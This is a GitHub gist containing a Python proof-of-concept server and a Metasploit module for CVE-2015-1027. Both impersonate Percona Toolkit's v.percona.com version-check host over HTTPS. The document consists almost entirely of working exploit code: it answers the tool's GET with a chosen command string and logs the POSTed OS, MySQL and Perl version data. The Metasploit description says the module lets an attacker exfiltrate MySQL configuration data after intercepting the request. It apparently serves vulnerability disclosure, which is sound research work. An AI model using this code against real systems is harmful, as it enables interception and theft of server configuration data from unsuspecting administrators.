Skip to content

Instantly share code, notes, and snippets.

@Oneiroi Oneiroi/CVE-2015-1027.py Secret
Created May 6, 2015

Embed
What would you like to do?
from SimpleHTTPServer import SimpleHTTPRequestHandler
import BaseHTTPServer
import ssl
__author__ = "David Busby <david.busby@percona.com>"
__cve_assignments__ = [‘2015-1027’,]
__description__ = "Proof of concept HTTPS impersonation of v.percona.com percona-toolkit version check"
class poc(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
"""
Toolkit doesn't appear to do any verification of the response but let's send some headers
Example response:
HTTP/1.0 200 OK
Date: Mon, 15 Dec 2014 13:43:12 GMT
Server: Apache
Set-Cookie: PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/
cache-control: no-cache
Content-Length: 144
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
X-Pad: avoid browser bug
OS;os_version
MySQL;mysql_variable;version_comment,version
Perl;perl_version
DBD::mysql;perl_module_version
Percona::Toolkit;perl_module_version
"""
self.send_response(200)
self.send_header('Server' , 'Apache')
self.send_header('Set-Cookie' , 'PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/')
self.send_header('cache-contol' , 'no-cache')
#in pt-osc at least the program flow appears to be
#pingback -> parse_server_response -> get_versions -> sub_for_type
#sub_for_type appears to prevent arbitrary SOME::MODULE;command_sub from being executed
#the split is type;item;vars from the code splitting on ;
#if command injection is to occur it would be here
command_payload = """OS;os_version
MySQL;mysql_variable;version_comment,version
Perl;perl_version
DBD::mysql;perl_module_version
Percona::Toolkit;perl_module_version
"""
self.send_header('Content-Length' , len(command_payload))
self.send_header('Vary' , 'Accept-Encoding')
self.send_header('Connection' , 'close')
self.send_header('Content-Type' , 'text/plain; charget=UTF-8')
self.send_header('X-Pad' , 'avoid browser bug')
self.end_headers()
#send the payload
self.wfile.write(command_payload)
print '[+] Got Percona Toolkit GET request, replied with payload {}'.format(command_payload)
def do_POST(self):
self.send_response(200)
"""
Handel the toolkits POST, example normal request and response
POST / HTTP/1.1
User-Agent: HTTP-Micro/0.01
Content-Type: application/octet-stream
Connection: close
X-Percona-Toolkit-Tool: pt-online-schema-change
Content-Length: 287
Host: v.percona.com
d6ca3fd0c3a3b462ff2b83436dda495e;DBD::mysql;4.021
1b6f35cca661d68ad4dfceeebfaf502e;MySQL;(Debian) 5.5.40-0+wheezy1
d6ca3fd0c3a3b462ff2b83436dda495e;OS;Debian GNU/Linux Kali Linux 1.0.9
d6ca3fd0c3a3b462ff2b83436dda495e;Percona::Toolkit;2.2.12
d6ca3fd0c3a3b462ff2b83436dda495e;Perl;5.14.2
HTTP/1.0 200 OK
Date: Mon, 15 Dec 2014 13:43:13 GMT
Server: Apache
Set-Cookie: PHPSESSID=nnm4bs99gef0rhepdnclpin233; path=/
cache-control: no-cache
Content-Length: 0
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8
X-Pad: avoid browser bug
"""
#self.send_response(200) #throws a connection reset by peer ...
self.send_header('Server' , 'Apache')
self.send_header('Set-Cookie' , 'PHPSESSID=bjtu6oic82g07rgr9b5906qrg1; path=/')
self.send_header('cache-contol' , 'no-cache')
self.send_header('Content-Length' , 0)
self.send_header('Vary' , 'Accept-Encoding')
self.send_header('Connection' , 'close')
self.send_header('Content-Type' , 'text/plain; charget=UTF-8')
self.send_header('X-Pad' , 'avoid browser bug')
self.end_headers()
print '[+] Got Percona Toolkit POST payload {}'.format(self.rfile.read())
def main():
server_class = BaseHTTPServer.HTTPServer
httpd = server_class(('',443),poc)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="poc.pem", server_side=True)
httpd.serve_forever()
if __name__ == '__main__':
main()
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'v.percona.com impersonation exploit',
'Description' => %q{
You still need to MITM the version-check request, this exploit provide the http server to ex-filtrate mysql configuration data
},
'License' => MSF_LICENSE,
'Author' =>
[
'David Busby <david.busby@percona.com>'
],
'References' =>
[
[ 'CVE', '2015-1027' ]
],
'Platform' => [ 'win' ],
'Targets' =>
[
['Universal', {}]
],
'DisclosureDate' => 'May 06 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('COMMAND', [
true,
'The command we want the checking in toolkit to run on the remote system',
'MySQL;mysql_variable;version_comment,version']),
OptString.new('URIPATH', [ true, 'The URI to use for this exploit (default is /)', '/' ])
], self.class)
end
def on_request_uri(cli, request)
case request.method
when 'GET'
print_status("Received GET request, replied with command string: #{datastore['COMMAND']}")
send_response(cli, datastore['COMMAND'])
when 'POST'
print_status("Received POST request body: #{request.body} ")
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.